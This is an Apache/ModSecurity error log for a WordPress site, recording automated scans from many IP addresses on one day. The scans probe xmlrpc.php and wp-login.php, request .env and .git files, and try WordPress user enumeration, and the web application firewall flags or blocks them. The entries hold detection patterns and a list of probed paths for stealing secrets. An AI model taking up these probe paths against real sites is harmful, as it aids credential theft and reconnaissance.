[Tue Apr 21 06:56:36.655181 2026] [:error] [pid 5377:tid 5397] [client 170.239.96.88:5010] [client 170.239.96.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.239.96.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeavJLBKychFlrHBdvsghAAAAcs"]
[Tue Apr 21 06:56:47.381569 2026] [:error] [pid 4823:tid 4867] [client 170.239.96.88:4671] [client 170.239.96.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.239.96.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeavL_c8mke3PfHqsxGkDgAAAY4"]
[Tue Apr 21 06:56:56.717378 2026] [:error] [pid 4777:tid 4803] [client 170.239.96.88:3690] [client 170.239.96.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.239.96.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeavOKxXur6bykKyLZQcZwAAAQ8"]
[Tue Apr 21 06:57:03.543287 2026] [:error] [pid 35322:tid 35369] [client 170.239.96.88:3536] [client 170.239.96.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.239.96.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeavP6PoAfV40BTfVKx85gAAAIw"]
[Tue Apr 21 07:43:30.567413 2026] [:error] [pid 5377:tid 5410] [client 192.159.142.249:37144] [client 192.159.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.159.142.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aea6IrBKychFlrHBdvswGgAAAdg"]
[Tue Apr 21 09:46:04.828776 2026] [:error] [pid 4777:tid 4806] [client 77.68.115.185:51638] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aebW3KxXur6bykKyLZQ3UwAAARI"]
[Tue Apr 21 11:08:12.500897 2026] [:error] [pid 4822:tid 4838] [client 162.62.213.187:57098] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aebqHCAteFQFwS_23Jn4zwAAAUw"]
[Tue Apr 21 11:15:44.111316 2026] [:error] [pid 35415:tid 35449] [client 88.151.34.212:61600] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "aebr4EiqDinI4_22zzggcwAAANY"]
[Tue Apr 21 11:15:44.112125 2026] [:error] [pid 35415:tid 35433] [client 88.151.34.212:61646] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/laravel/.env"] [unique_id "aebr4EiqDinI4_22zzggdQAAAMY"]
[Tue Apr 21 11:15:44.112576 2026] [:error] [pid 35320:tid 35338] [client 88.151.34.212:61636] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "aebr4IJW6fdXWO6agMHLzgAAAAg"]
[Tue Apr 21 11:15:44.112651 2026] [:error] [pid 35320:tid 35346] [client 88.151.34.212:61640] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "aebr4IJW6fdXWO6agMHLzwAAABA"]
[Tue Apr 21 11:15:44.115681 2026] [:error] [pid 4822:tid 4846] [client 88.151.34.212:61626] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "aebr4CAteFQFwS_23Jn7gQAAAVQ"]
[Tue Apr 21 11:15:44.116309 2026] [:error] [pid 4823:tid 4861] [client 88.151.34.212:61616] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "aebr4Pc8mke3PfHqsxEkJwAAAYg"]
[Tue Apr 21 11:15:44.119382 2026] [:error] [pid 4777:tid 4792] [client 88.151.34.212:61590] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aebr4KxXur6bykKyLZRGOwAAAQQ"]
[Tue Apr 21 11:15:44.119776 2026] [:error] [pid 4822:tid 4845] [client 88.151.34.212:61592] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "aebr4CAteFQFwS_23Jn7hgAAAVM"]
[Tue Apr 21 11:15:44.119938 2026] [:error] [pid 4822:tid 4842] [client 88.151.34.212:61598] [client 88.151.34.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "aebr4CAteFQFwS_23Jn7gwAAAVA"]
[Tue Apr 21 11:31:57.660033 2026] [:error] [pid 35320:tid 35331] [client 185.194.178.16:51351] [client 185.194.178.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aebvrYJW6fdXWO6agMHOUQAAAAE"]
[Tue Apr 21 11:40:30.439796 2026] [:error] [pid 4822:tid 4831] [client 107.180.252.236:58220] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aebxriAteFQFwS_23JkHpwAAAUU"]
[Tue Apr 21 11:41:38.415858 2026] [:error] [pid 35320:tid 35349] [client 43.157.150.69:45352] [client 43.157.150.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aebx8oJW6fdXWO6agMHQEQAAABM"]
[Tue Apr 21 11:42:51.826075 2026] [:error] [pid 4822:tid 4836] [client 202.137.4.151:53574] [client 202.137.4.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.137.4.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aebyOyAteFQFwS_23JkInQAAAUo"]
[Tue Apr 21 11:50:16.897135 2026] [:error] [pid 4822:tid 4839] [client 143.198.154.102:59890] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aebz-CAteFQFwS_23JkLzgAAAU0"]
[Tue Apr 21 12:07:15.469903 2026] [:error] [pid 4823:tid 4855] [client 182.42.111.213:44466] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeb38_c8mke3PfHqsxE16AAAAYI"]
[Tue Apr 21 12:31:29.371141 2026] [:error] [pid 4822:tid 4826] [client 167.71.205.11:50478] [client 167.71.205.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.205.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeb9oSAteFQFwS_23JkfFgAAAUA"], referer: https://t.co/
[Tue Apr 21 12:31:36.722828 2026] [:error] [pid 4822:tid 4843] [client 167.71.205.11:50478] [client 167.71.205.11] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeb9qCAteFQFwS_23JkfOwAAAVE"], referer: https://t.co/
[Tue Apr 21 12:31:36.814506 2026] [:error] [pid 4822:tid 4836] [client 167.71.205.11:50478] [client 167.71.205.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.205.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeb9qCAteFQFwS_23JkfPQAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 21 12:31:40.185866 2026] [:error] [pid 4822:tid 4830] [client 167.71.205.11:50478] [client 167.71.205.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.205.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeb9rCAteFQFwS_23JkfSgAAAUQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 21 12:31:42.939586 2026] [:error] [pid 4822:tid 4838] [client 167.71.205.11:50478] [client 167.71.205.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.205.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeb9riAteFQFwS_23JkfTgAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 21 12:31:45.635342 2026] [:error] [pid 4822:tid 4844] [client 167.71.205.11:50478] [client 167.71.205.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.205.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeb9sSAteFQFwS_23JkfVQAAAVI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 21 12:45:43.506475 2026] [:error] [pid 5377:tid 5400] [client 145.239.60.59:40700] [client 145.239.60.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.239.60.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecA97BKychFlrHBdvuNYQAAAc4"]
[Tue Apr 21 12:45:43.517999 2026] [:error] [pid 5377:tid 5404] [client 145.239.60.59:40712] [client 145.239.60.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.239.60.59, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aecA97BKychFlrHBdvuNYgAAAdI"]
[Tue Apr 21 13:04:11.041402 2026] [:error] [pid 4823:tid 4868] [client 5.255.104.83:36800] [client 5.255.104.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aecFS_c8mke3PfHqsxFPIgAAAY8"]
[Tue Apr 21 13:04:11.047244 2026] [:error] [pid 35322:tid 35366] [client 5.255.104.83:36822] [client 5.255.104.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "aecFS6PoAfV40BTfVKyfWAAAAIk"]
[Tue Apr 21 13:27:49.709854 2026] [:error] [pid 4823:tid 4877] [client 185.199.223.39:55448] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecK1fc8mke3PfHqsxFXOwAAAZg"]
[Tue Apr 21 14:26:24.403153 2026] [:error] [pid 4823:tid 4871] [client 204.48.18.182:35332] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecYkPc8mke3PfHqsxF3oAAAAZI"]
[Tue Apr 21 14:43:53.578558 2026] [:error] [pid 4822:tid 4834] [client 54.169.18.101:50886] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeccqSAteFQFwS_23JmDyQAAAUg"]
[Tue Apr 21 14:43:55.180213 2026] [:error] [pid 5377:tid 5393] [client 54.169.18.101:51086] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aeccq7BKychFlrHBdvu8_AAAAcc"]
[Tue Apr 21 14:43:55.611747 2026] [:error] [pid 4823:tid 4868] [client 54.169.18.101:51160] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.local"] [unique_id "aeccq_c8mke3PfHqsxGF_QAAAY8"]
[Tue Apr 21 14:43:56.043418 2026] [:error] [pid 4823:tid 4857] [client 54.169.18.101:51176] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.production"] [unique_id "aeccrPc8mke3PfHqsxGGAQAAAYQ"]
[Tue Apr 21 14:43:56.481142 2026] [:error] [pid 4823:tid 4858] [client 54.169.18.101:51222] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "aeccrPc8mke3PfHqsxGGCAAAAYU"]
[Tue Apr 21 14:43:56.914950 2026] [:error] [pid 4822:tid 4846] [client 54.169.18.101:51258] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.development"] [unique_id "aeccrCAteFQFwS_23JmD4QAAAVQ"]
[Tue Apr 21 14:43:57.349508 2026] [:error] [pid 4822:tid 4849] [client 54.169.18.101:51276] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.test"] [unique_id "aeccrSAteFQFwS_23JmD4wAAAVc"]
[Tue Apr 21 14:43:57.783130 2026] [:error] [pid 35322:tid 35359] [client 54.169.18.101:51310] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.remote"] [unique_id "aeccraPoAfV40BTfVKywggAAAII"]
[Tue Apr 21 14:43:58.217479 2026] [:error] [pid 4823:tid 4855] [client 54.169.18.101:51324] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "aeccrvc8mke3PfHqsxGGFQAAAYI"]
[Tue Apr 21 14:43:58.654779 2026] [:error] [pid 4823:tid 4875] [client 54.169.18.101:33686] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "aeccrvc8mke3PfHqsxGGGwAAAZY"]
[Tue Apr 21 14:43:59.089771 2026] [:error] [pid 4823:tid 4863] [client 54.169.18.101:33702] [client 54.169.18.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.save"] [unique_id "aeccr_c8mke3PfHqsxGGIQAAAYo"]
[Tue Apr 21 14:52:21.609511 2026] [:error] [pid 4822:tid 4850] [client 213.165.69.184:48560] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecepSAteFQFwS_23JmOUwAAAVg"]
[Tue Apr 21 15:08:22.893602 2026] [:error] [pid 4823:tid 4860] [client 204.48.18.182:38940] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeciZvc8mke3PfHqsxGYoAAAAYc"]
[Tue Apr 21 15:28:01.586088 2026] [:error] [pid 4823:tid 4874] [client 54.179.44.30:57056] [client 54.179.44.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aecnAfc8mke3PfHqsxGongAAAZU"]
[Tue Apr 21 15:28:03.421366 2026] [:error] [pid 35321:tid 35406] [client 54.179.44.30:56248] [client 54.179.44.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aecnAzeHLhVUuu8cVXyPqQAAAFY"]
[Tue Apr 21 15:28:03.949490 2026] [:error] [pid 5377:tid 5401] [client 54.179.44.30:56326] [client 54.179.44.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "aecnA7BKychFlrHBdvvWCAAAAc8"]
[Tue Apr 21 15:28:04.475101 2026] [:error] [pid 35321:tid 35398] [client 54.179.44.30:56364] [client 54.179.44.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "aecnBDeHLhVUuu8cVXyPqwAAAE4"]
[Tue Apr 21 15:28:05.034002 2026] [:error] [pid 5377:tid 5395] [client 54.179.44.30:56410] [client 54.179.44.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "aecnBbBKychFlrHBdvvWDQAAAck"]
[Tue Apr 21 15:28:05.581523 2026] [:error] [pid 4823:tid 4871] [client 54.179.44.30:56446] [client 54.179.44.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "aecnBfc8mke3PfHqsxGotQAAAZI"]
[Tue Apr 21 15:34:13.598839 2026] [:error] [pid 35321:tid 35408] [client 157.245.242.100:31712] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecodTeHLhVUuu8cVXya0AAAAFg"]
[Tue Apr 21 15:34:46.032576 2026] [autoindex:error] [pid 35415:tid 35429] [client 45.86.200.241:26535] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
